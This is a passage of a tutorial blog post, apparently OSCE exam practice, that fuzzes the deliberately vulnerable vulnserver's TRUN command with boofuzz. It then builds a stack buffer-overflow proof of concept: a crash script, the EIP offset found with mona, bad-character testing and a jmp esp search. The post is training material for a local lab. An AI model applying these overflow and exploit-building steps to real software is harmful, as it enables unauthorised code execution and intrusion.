Blog


OSCE Exam Practice - Part II (TRUN via EIP Overwrite)

May 14, 2020 | 22 minutes read

Tags: osce, vulnserver, windbg, boofuzz

Lab Environment

  • Operating System: Windows 7
  • Architecture: x86
  • Debugger: WinDbg
  • Scripting Language: Python3.8
  • Fuzzer: boofuzz
  • Repo Entry: TRUN
  • Additional Tools Used:
  • Target: Vulnserver :: TRUN command
  • Method: EIP Overwrite

In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).

DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!

Other posts in the series:


Introduction

For the next few posts, we’ll be exploiting different pieces of vulnserver. Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. It comes with a multitude of commands, each containing unique vulnerabilities that require different exploit techniques to successfully exploit them. There’s not really an install process for vulnserver, just grab it out of the repo and you’re good to go (you can build it yourself if you want).

This post will document exploitation of a simple EIP overwrite in the TRUN command. It will also serve as the basis for solidifying a repeatable exploitation process.

Fuzzing

Lay of the Land

In order to fuzz the application, we need to know how to interact with the application.

First, we’ll start vulnserver. Vulnserver listens on port 9999.

vulnserver-start

Next, we’ll connect to port 9999 on localhost using netcat.

nc -vn 127.0.0.1 9999
═════════════════════

(UNKNOWN) [127.0.0.1] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.

We see it offers a HELP menu. Let’s check it out.

HELP
════

Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

It looks like a valid TRUN command is simply TRUN SOMEVALUE. We can confirm that this is the case.

TRUN testtest
═════════════

TRUN COMPLETE

The only feedback we get is TRUN COMPLETE. Though, that’s enough for us to get started on automating our fuzzer!

Boofuzz Script

In order to start fuzzing the command in earnest, we’ll need a boofuzz script. We’ll be utilizing the process_monitor.py utility we got setup in Part I.

Documentation and examples of process_monitor, custom logging, and extracting results are pretty sparse. If you know of a better way to do this, please let me know!

To begin, we’ll get some boilerplate out of the way; starting with defining vulnserver’s information and where we want to store our CSV log.

 1from pathlib import Path
 2
 3from boofuzz import *
 4
 5tgt_ip = "127.0.0.1"
 6tgt_port = 9999  # vulnserver
 7
 8# put the csv beside this script, regardless of where its ran from
 9fuzz_dir = Path(__file__).parent.resolve()  
10csv_file = Path(fuzz_dir) / "fuzz_logs.csv"

Next, we’ll get our loggers setup. We still want to log to the console, but we also want to add our results to a CSV for a little easier consumption if necessary.

12# one logger to console, the other to a CSV
13loggers = [FuzzLoggerText(), FuzzLoggerCsv(file_handle=csv_file.open('w'))]

With that complete, we need to configure some information in order for process_monitor.py to be able to do its thing.

15# client for process_monitor.py
16client = pedrpc.Client(tgt_ip, 26002)
17
18# used by process_monitor.py to know how to restart vulnserver
19# list of list structure suggested here: https://github.com/jtpereyda/boofuzz/issues/261#issuecomment-475082950
20start_vulnserver = [["C:\\users\\vagrant\\desktop\\vulnserver\\vulnserver.exe"]]
21kill_vulnserver = [['powershell -c "stop-process -name vulnserver -force"']]
22
23connection = SocketConnection(tgt_ip, tgt_port, proto="tcp")

Now, comes the definition of our Target. Earlier, we defined how to kill vulnserver. However, there’s a bug in boofuzz\boofuzz\utils\process_monitor_pedrpc_server.py that needs addressed before that option will work without throwing an exception. The diff is shown below, but amounts to adding a for loop.

 1@@ -202,12 +202,13 @@ class ProcessMonitorPedrpcServer(pedrpc.Server):
 2         if len(self.stop_commands) < 1:
 3             self.debugger_thread.stop_target()
 4         else:
 5-            for command in self.stop_commands:
 6-                if command == "TERMINATE_PID":
 7-                    self.debugger_thread.stop_target()
 8-                else:
 9-                    self.log("Executing stop command: '{0}'".format(command), 2)
10-                    os.system(command)
11+            for command_list in self.stop_commands:
12+                for command in command_list:
13+                    if command == "TERMINATE_PID":
14+                        self.debugger_thread.stop_target()
15+                    else:
16+                        self.log("Executing stop command: '{0}'".format(command), 2)
17+                        os.system(command)
18

With that change made, we can define the Target and the Session that uses it.

25options = {"start_commands": start_vulnserver, "stop_commands": kill_vulnserver, "proc_name": "vulnserver.exe"}
26target = Target(connection=connection, procmon=client, procmon_options=options)
27
28session = Session(target=target, fuzz_loggers=loggers)
29
30s_initialize("vulnserver-fuzzcase")  # arbitrary name for overall fuzz case

Finally, we reach the actual fuzz directives. These tell boofuzz what it should send to the server after connecting. Both TRUN and the following space are defined as unfuzzable, as they’re part of the command’s syntax. The string "something" is simply a placeholder where fuzzing data will be inserted during execution.

32# fuzzing directives go here
33s_string("TRUN", fuzzable=False)
34s_delim(" ", fuzzable=False)
35s_string("something")

After that, we have the final bit of boilerplate. These lines get everything else setup and kick off the fuzzing session.

37req = s_get("vulnserver-fuzzcase")
38
39session.connect(req)
40
41print(f"fuzzing with {req.num_mutations()} mutations")
42
43session.fuzz()  # do the thing!

The code above is unlikely to change except for the fuzzing directives. As such it’s included as a template in my OSCE-exam-practice repo.

Run the Fuzzer

Running the fuzzer is relatively simple, given our fuzz script and that we installed all of the requirements earlier. We’ll need two separate terminals to get things going.

Terminal 1:

C:\Python27\python.exe .\process_monitor.py
═══════════════════════════════════════════

[06:23.08] Process Monitor PED-RPC server initialized:
[06:23.08]       listening on:  0.0.0.0:26002
[06:23.08]       crash file:    C:\Users\vagrant\Downloads\boofuzz-master\boofuzz-crash-bin
[06:23.08]       # records:     0
[06:23.08]       proc name:     None
[06:23.08]       log level:     1
[06:23.08] awaiting requests...

Terminal 2:

C:\Python37\python.exe .\fuzzer.py
══════════════════════════════════

[2020-05-16 18:24:27,163]     Info: Web interface can be found at http://localhost:26000
fuzzing with 1441 mutations
[2020-05-16 18:26:36,944] Test Case: 1: vulnserver-fuzzcase.no-name.1
[2020-05-16 18:26:36,944]     Info: Type: String. Default value: b'something'. Case 1 of 1441 overall.
[2020-05-16 18:26:36,944]   Test Step: Calling procmon pre_send()
[2020-05-16 18:26:36,961]     Info: Opening target connection (127.0.0.1:9999)...
[2020-05-16 18:26:36,961]     Info: Connection opened.
[2020-05-16 18:26:36,961]   Test Step: Fuzzing Node 'vulnserver-fuzzcase'
[2020-05-16 18:26:36,961]     Info: Sending 5 bytes...
[2020-05-16 18:26:36,961]     Transmitted 5 bytes: 54 52 55 4e 20 b'TRUN '
[2020-05-16 18:26:36,961]   Test Step: Contact process monitor
[2020-05-16 18:26:36,961]     Check: procmon.post_send()
[2020-05-16 18:26:36,978]       Check OK: No crash detected.
[2020-05-16 18:26:36,978]   Test Step: Contact process monitor
[2020-05-16 18:26:36,978]     Check: procmon.post_send()
[2020-05-16 18:26:36,995]       Check OK: No crash detected.
[2020-05-16 18:26:36,995]     Info: Closing target connection...
[2020-05-16 18:26:36,995]     Info: Connection closed.
-------------8<-------------

If everything works as it should, we now have a fully automated fuzzer. All that’s left to do is sit back and await the results.

Exploring Crashes

After the fuzzer runs to completion we need to check for any crashes.

boofuzz-crash-bin

We can start by looking at the boofuzz-crash-bin... file. By default, it will get created wherever we ran process_monitor.py from. This file contains JSON that describes any crashes that occurred during fuzzing.

 1{
 2   "1094795585":[
 3      {
 4         "exception_module":"[INVALID]",
 5         "stack_unwind":[
 6
 7         ],
 8         "exception_address":1094795585,
 9         "context_dump":"CONTEXT DUMP\n  EIP: 41414141 Unable to disassemble at 41414141\n  EAX: 019cf200 (  27062784) -> TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)\n  EBX: 00000064 (       100) -> N/A\n  ECX: 004c77f8 (   5011448) -> L8,L (heap)\n  EDX: 0000705c (     28764) -> N/A\n  EDI: 00000000 (         0) -> N/A\n  ESI: 00000000 (         0) -> N/A\n  EBP: 41414141 (1094795585) -> N/A\n  ESP: 019cf9e0 (  27064800) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)\n  +00: 41414141 (1094795585) -> N/A\n  +04: 41414141 (1094795585) -> N/A\n  +08: 41414141 (1094795585) -> N/A\n  +0c: 41414141 (1094795585) -> N/A\n  +10: 41414141 (1094795585) -> N/A\n  +14: 41414141 (1094795585) -> N/A\n",
10         "extra":2,
11         "write_violation":0,
12         "disasm":"Unable to disassemble at 41414141",
13         "disasm_around":[
14            [
15               1094795585,
16               "Unable to disassemble"
17            ]
18         ],
19         "context":{
20
21         },
22         "violation_thread_id":6288,
23         "violation_address":1094795585,
24         "seh_unwind":[
25            [
26               4294967295,
27               2007359837,
28               "ntdll.dll:77a5e15d"
29            ]
30         ]
31      }
32   ],
33   "774778414":[
34      {
35         "exception_module":"[INVALID]",
36         "stack_unwind":[
37
38         ],
39         "extra":697,
40         "context_dump":"CONTEXT DUMP\n  EIP: 2e2e2e2e Unable to disassemble at 2e2e2e2e\n  EAX: 01b2f200 (  28504576) -> TRUN ........................................................................................................................................................................................................................................................... (stack)\n  EBX: 00000064 (       100) -> N/A\n  ECX: 01e2c63c (  31639100) ->  (heap)\n  EDX: 002e2e2e (   3026478) -> N/A\n  EDI: 00000000 (         0) -> N/A\n  ESI: 00000000 (         0) -> N/A\n  EBP: 2e2e2e2e ( 774778414) -> N/A\n  ESP: 01b2f9e0 (  28506592) -> ................................... (stack)\n  +00: 2e2e2e2e ( 774778414) -> N/A\n  +04: 2e2e2e2e ( 774778414) -> N/A\n  +08: 2e2e2e2e ( 774778414) -> N/A\n  +0c: 2e2e2e2e ( 774778414) -> N/A\n  +10: 2e2e2e2e ( 774778414) -> N/A\n  +14: 2e2e2e2e ( 774778414) -> N/A\n",
41         "exception_address":774778414,
42         "write_violation":0,
43         "disasm":"Unable to disassemble at 2e2e2e2e",
44         "violation_address":774778414,
45         "context":{
46
47         },
48         "violation_thread_id":6620,
49         "disasm_around":[
50            [
51               774778414,
52               "Unable to disassemble"
53            ]
54         ],
55         "seh_unwind":[
56            [
57               4294967295,
58               2007359837,
59               "ntdll.dll:77a5e15d"
60            ]
61         ]
62      }
63   ]
64}

For this post, we’re only concerned with the context_dump entries.

CONTEXT DUMP
  EIP: 41414141 Unable to disassemble at 41414141
  EAX: 019cf200 (  27062784) -> TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
  EBX: 00000064 (       100) -> N/A
  ECX: 004c77f8 (   5011448) -> L8,L (heap)
  EDX: 0000705c (     28764) -> N/A
  EDI: 00000000 (         0) -> N/A
  ESI: 00000000 (         0) -> N/A
  EBP: 41414141 (1094795585) -> N/A
  ESP: 019cf9e0 (  27064800) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
  +00: 41414141 (1094795585) -> N/A
  +04: 41414141 (1094795585) -> N/A
  +08: 41414141 (1094795585) -> N/A
  +0c: 41414141 (1094795585) -> N/A
  +10: 41414141 (1094795585) -> N/A
  +14: 41414141 (1094795585) -> N/A
CONTEXT DUMP
  EIP: 2e2e2e2e Unable to disassemble at 2e2e2e2e
  EAX: 01b2f200 (  28504576) -> TRUN ........................................................................................................................................................................................................................................................... (stack)
  EBX: 00000064 (       100) -> N/A
  ECX: 01e2c63c (  31639100) ->  (heap)
  EDX: 002e2e2e (   3026478) -> N/A
  EDI: 00000000 (         0) -> N/A
  ESI: 00000000 (         0) -> N/A
  EBP: 2e2e2e2e ( 774778414) -> N/A
  ESP: 01b2f9e0 (  28506592) -> ................................... (stack)
  +00: 2e2e2e2e ( 774778414) -> N/A
  +04: 2e2e2e2e ( 774778414) -> N/A
  +08: 2e2e2e2e ( 774778414) -> N/A
  +0c: 2e2e2e2e ( 774778414) -> N/A
  +10: 2e2e2e2e ( 774778414) -> N/A
  +14: 2e2e2e2e ( 774778414) -> N/A

The output for both of the crashes show two notable pieces of information.

  • We can control EIP
  • The stack points to a location within our control (so does eax, but the string TRUN complicates things)

boofuzz-results Database

At this point, we know that we caused two crashes. Unfortunately, we don’t know the exact data sent to cause those crashes. Let’s fire up our sqlite browser and check the results database. The file should be in the boofuzz-results directory which should be sitting right beside our fuzzing script.

We’ll begin by opening the database

trun-db-open

Once the db is open, we’ll click the Browse Data tab and then select steps from the Table dropdown.

trun-db-steps

At this point we need to check our crash-bin file to see which test caused the crash.

 1{
 2   "1094795585":[
 3      {
 4         "exception_module":"[INVALID]",
 5         "stack_unwind":[
 6
 7         ],
 8         "exception_address":1094795585,
 9         "context_dump":"CONTEXT DUMP\n  EIP: 41414141 Unable to disassemble at 41414141\n  EAX: 019cf200 (  27062784) -> TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)\n  EBX: 00000064 (       100) -> N/A\n  ECX: 004c77f8 (   5011448) -> L8,L (heap)\n  EDX: 0000705c (     28764) -> N/A\n  EDI: 00000000 (         0) -> N/A\n  ESI: 00000000 (         0) -> N/A\n  EBP: 41414141 (1094795585) -> N/A\n  ESP: 019cf9e0 (  27064800) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)\n  +00: 41414141 (1094795585) -> N/A\n  +04: 41414141 (1094795585) -> N/A\n  +08: 41414141 (1094795585) -> N/A\n  +0c: 41414141 (1094795585) -> N/A\n  +10: 41414141 (1094795585) -> N/A\n  +14: 41414141 (1094795585) -> N/A\n",
10         "extra":2,
11         "write_violation":0,
12         "disasm":"Unable to disassemble at 41414141",

The extra variable stores the number of the test case that caused the crash. We can use that to filter down to the exact test using the test_case_index column.

trun-db-2

There we have it, the test sent 5011’ish A’s (ish because of the prepended /.:/).

With that information, we can begin work on our PoC.

Building the Exploit

Initial Crash

Attach to Vulnserver

To build out our initial crash PoC, we’ll need to start up vulnserver and attach to the process using windbg. There are two ways to do this without the mouse. The alt-key combination may be preferred by some (me included).

  • Windbg Shortcut: F6 - Attach to a Process
  • Windbg Shortcut: Alt+f -> t - Attach to a Process

Newly created processes are at the bottom of the Attach to Process window created by windbg. It’s quickest to hit F6 and then End. This will take you down to the bottom of the list where vulnserver should be waiting.

trun-attach

Once attached, we need to let the process continue running.

  • Windbg Shortcut: F5 - Go (let process run)
  • Windbg Shortcut: Alt+d -> g - Go (let process run)

Initial Crash PoC

The crash is fairly simple to reproduce. The code for it is below.

I prefer to include a simple print statement of how many bytes are sent as a sanity check. When we start messing with adding in different chunks of code, it’s easy to unintentionally alter the length of the payload.

 1import struct
 2import socket
 3
 4target = ("127.0.0.1", 9999)  # vulnserver
 5
 6payload = b"TRUN /.:/ "
 7payload += b"A" * 5011
 8
 9with socket.create_connection(target) as sock:
10    sock.recv(512)  # Welcome to Vulnerable Server! ... 
11
12    sent = sock.send(payload)
13    print(f"sent {sent} bytes")

After we send our PoC, we can confirm that EIP is occupied by 4 A’s and ESP points to a location in our user-controlled buffer.

trun-ic-regs

Determine the Offset

Next up, we need to expand upon our PoC and find out exactly how many bytes it takes to reach EIP.

mona.py pattern_create

We’ll begin by restarting our instance of vulnserver from within windbg.

  • Windbg Shortcut: Ctrl+Shift+F5 - Restart
  • Windbg Shortcut: Alt+d -> r - Restart

After that, we need to generate a cyclic pattern using mona. To create the pattern, we’ll use mona’s pattern_create command. pattern_create creates a cyclic pattern of a given size. The result will be written to pattern.txt (within the currently configured log directory) in ascii, hex and unescape() javascript formats.

pattern_create can be shortened to pc, as shown below.

!py mona pc 5011
════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py pc 5011
Creating cyclic pattern of 5011 bytes Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...
[+] Preparing output file 'pattern.txt'
    - Creating working folder c:\monalogs\vulnserver_6984
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_6984\pattern.txt
Warning : odd size given, js pattern will be truncated to 5010 bytes, it's better use an even size

Note: don't copy this pattern from the log window, it might be truncated !
It's better to open c:\monalogs\vulnserver_6984\pattern.txt and copy the pattern from the file

Now we need to allow vulnserver to continue running (Alt+d -> g) and update our PoC to make use of our pattern instead of the 5011 A’s.

5-------------8<-------------
6payload = b"TRUN /.:/ "
7payload += b"Aa0Aa1Aa2Aa3Aa4Aa..."
8-------------8<-------------

Since windbg is still attached and vulnserver is running, we’re free to throw our modified PoC.

trun-cyclic

We are rewarded with another crash! Let’s analyze the new crash using more mona magic.

mona.py findmsp

mona’s findmsp command finds the beginning of a cyclic pattern in memory. It looks if any of the registers contain a cyclic pattern or point into a cyclic pattern. findmsp will also look if a SEH record is overwritten. Finally, it will look for cyclic patterns on the stack, and pointers to the pattern on the stack.

Running findmsp after throwing our PoC with the pattern in it displays the output below.

!py mona findmsp

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x00383cea (length 4086 bytes)
    Cyclic pattern (normal) found at 0x0038511a (length 2990 bytes)
    Cyclic pattern (normal) found at 0x0189f20a (length 2990 bytes)
[+] Examining registers
    EIP contains normal pattern : 0x6f43376f (offset 2002)
    ESP (0x0189f9e0) points at offset 2006 in normal pattern (length 984)
    EBP contains normal pattern : 0x43366f43 (offset 1998)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x0189f000 to 0x0189fffc (0x00000ffc bytes)
    0x0189f20c : Contains normal cyclic pattern at ESP-0x7d4 (-2004) : offset 2, length 2988 (-> 0x0189fdb7 : ESP+0x3d8)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
    Walking stack from 0x0189f000 to 0x0189fffc (0x00000ffc bytes)
    0x0189f164 : Pointer into normal cyclic pattern at ESP-0x87c (-2172) : 0x0189fc60 : offset 2646, length 344
    0x0189f168 : Pointer into normal cyclic pattern at ESP-0x878 (-2168) : 0x0189f7a0 : offset 1430, length 1560
[+] Preparing output file 'findmsp.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_6984\findmsp.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.

We can see that EIP is 2002 bytes from the beginning of our buffer. Additionally, ESP is 2006 bytes from the beginning of our buffer. We can also see that there are 984 bytes of pattern from where ESP points, which is plenty of room for our final shellcode.

Confirming the Offset

We’ll use the output above to modify our PoC. We’ll use A’s as the initial filler, B’s will overwrite EIP, and ESP should point to four C’s. After that we’ll use D’s to signify the remainder of our buffer.

 1import struct
 2import socket
 3
 4VULNSRVR_CMD = b"TRUN /.:/ "
 5CRASH_LEN = 5011
 6
 7target = ("127.0.0.1", 9999)  # vulnserver
 8
 9payload = VULNSRVR_CMD
10payload += b"A" * 2002
11payload += b"B" * 4  # EIP
12payload += b"C" * 4  # ESP
13payload += b"D" * (CRASH_LEN - len(payload))
14
15with socket.create_connection(target) as sock:
16    sock.recv(512)  # Welcome to Vulnerable Server! ... 
17
18    sent = sock.send(payload)
19    print(f"sent {sent} bytes")

Throwing the PoC above yields the expected results.

trun-confirm-offset

With that, we’re ready to proceed!

Finding Bad Characters

Next up, we have the crucial but oft overlooked step of finding out which characters will break our exploit.

mona.py bytearray

Once again, we’ll utilize mona. This time around, we’ll use the bytearray command. Unsurprisingly, the bytearray command creates a byte array, which can be used to find bad characters. Its output will be written to bytearray.txt, and binary output will be written to bytearray.bin.

Because \x00 is commonly a bad character, we’ll exclude it from the outset by using the -cpb option.

bytearray can be shortened to ba

!py mona ba -cpb '\x00'
═══════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py ba -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_2752\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Done, wrote 255 bytes to file c:\monalogs\vulnserver_2752\bytearray.txt
Binary output saved in c:\monalogs\vulnserver_2752\bytearray.bin

Now, we need to update our PoC to send the byte array.

 7-------------8<-------------
 8target = ("127.0.0.1", 9999)  # vulnserver
 9
10bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
11bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
12bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
13bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
14bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
15bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
16bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
17bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
18
19payload = VULNSRVR_CMD
20payload += b"A" * OFFSET
21payload += b"B" * 4  # EIP
22payload += bad_chars
23payload += b"C" * (CRASH_LEN - len(payload))
24-------------8<-------------

I know we could wrap the byte array in parens… I just find this way more visually appealing

trun-bad-chars-stack

mona.py compare

After throwing the PoC with the byte array, we’ll use mona’s compare command. The compare command allows us to compare a file created by mona’s bytearray/msfvenom/gdb/hex/xxd/hexdump/ollydbg with a copy in memory. It will report back either the differences between the two, or that they both match (which is what we hope for, as it means we’ve found all the bad characters). Hopping over to windbg, we can execute the following command.

!py mona compare -f c:\monalogs\vulnserver_2752\bytearray.bin -a esp
════════════════════════════════════════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py compare -f c:\monalogs\vulnserver_2752\bytearray.bin -a esp
[+] Reading file c:\monalogs\vulnserver_2752\bytearray.bin...
    Read 255 bytes from file
[+] Preparing output file 'compare.txt'
    - Creating working folder c:\monalogs\vulnserver_6584
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_6584\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] c:\monalogs\vulnserver_2752\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 255 bytes successfully from c:\monalogs\vulnserver_2752\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x0190f9e0 | [+] Comparing with memory at location : 0x0190f9e0 (Stack)
0x0190f9e0 | !!! Hooray, normal shellcode unmodified !!!
0x0190f9e0 | Bytes omitted from input: 00

Now we know that as long as we omit null-bytes, our shellcode won’t get mangled.

mona.py jmp

We know that ESP points to a location in our shellcode. So, we need to find an instruction that will redirect execution to the location of ESP. mona can assist us with that task via its jmp command. jmp will search for pointers that lead to execution of the code located at the address pointed to by a given register.

By default it searchs in non-aslr/non-rebase modules. Additionally, it checks more than just jmp reg. Below are all the instructions it checks for in order to redirect execution.

jmp reg
call reg
push reg + ret (+ offsets)
push reg + pop r32 + jmp r32
push reg + pop r32 + call r32
push reg + pop r32 + push r32 + ret (+ offset)
xchg reg,r32 + jmp r32
xchg reg,r32 + call r32
xchg reg,r32 + push r32 + ret (+ offset)
xchg r32,reg + jmp r32
xchg r32,reg + call r32
xchg r32,reg + push r32 + ret (+ offset)
mov r32,reg + jmp r32
mov r32,reg + call r32
mov r32,reg + push r32 + ret (+offset)

We’ll ensure that none of the addresses returned to us have a null-byte in them with the -cpb option.

!py mona jmp -r esp -cpb '\x00'
═══════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00'

---------- Mona command started on 2020-05-17 14:27:34 (v2.0, rev 605) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Bad char filter will be applied to pointers : '\x00' 
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 2 modules
    - Querying module essfunc.dll
    - Querying module vulnserver.exe
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_6584\jmp.txt
[+] Writing results to c:\monalogs\vulnserver_6584\jmp.txt
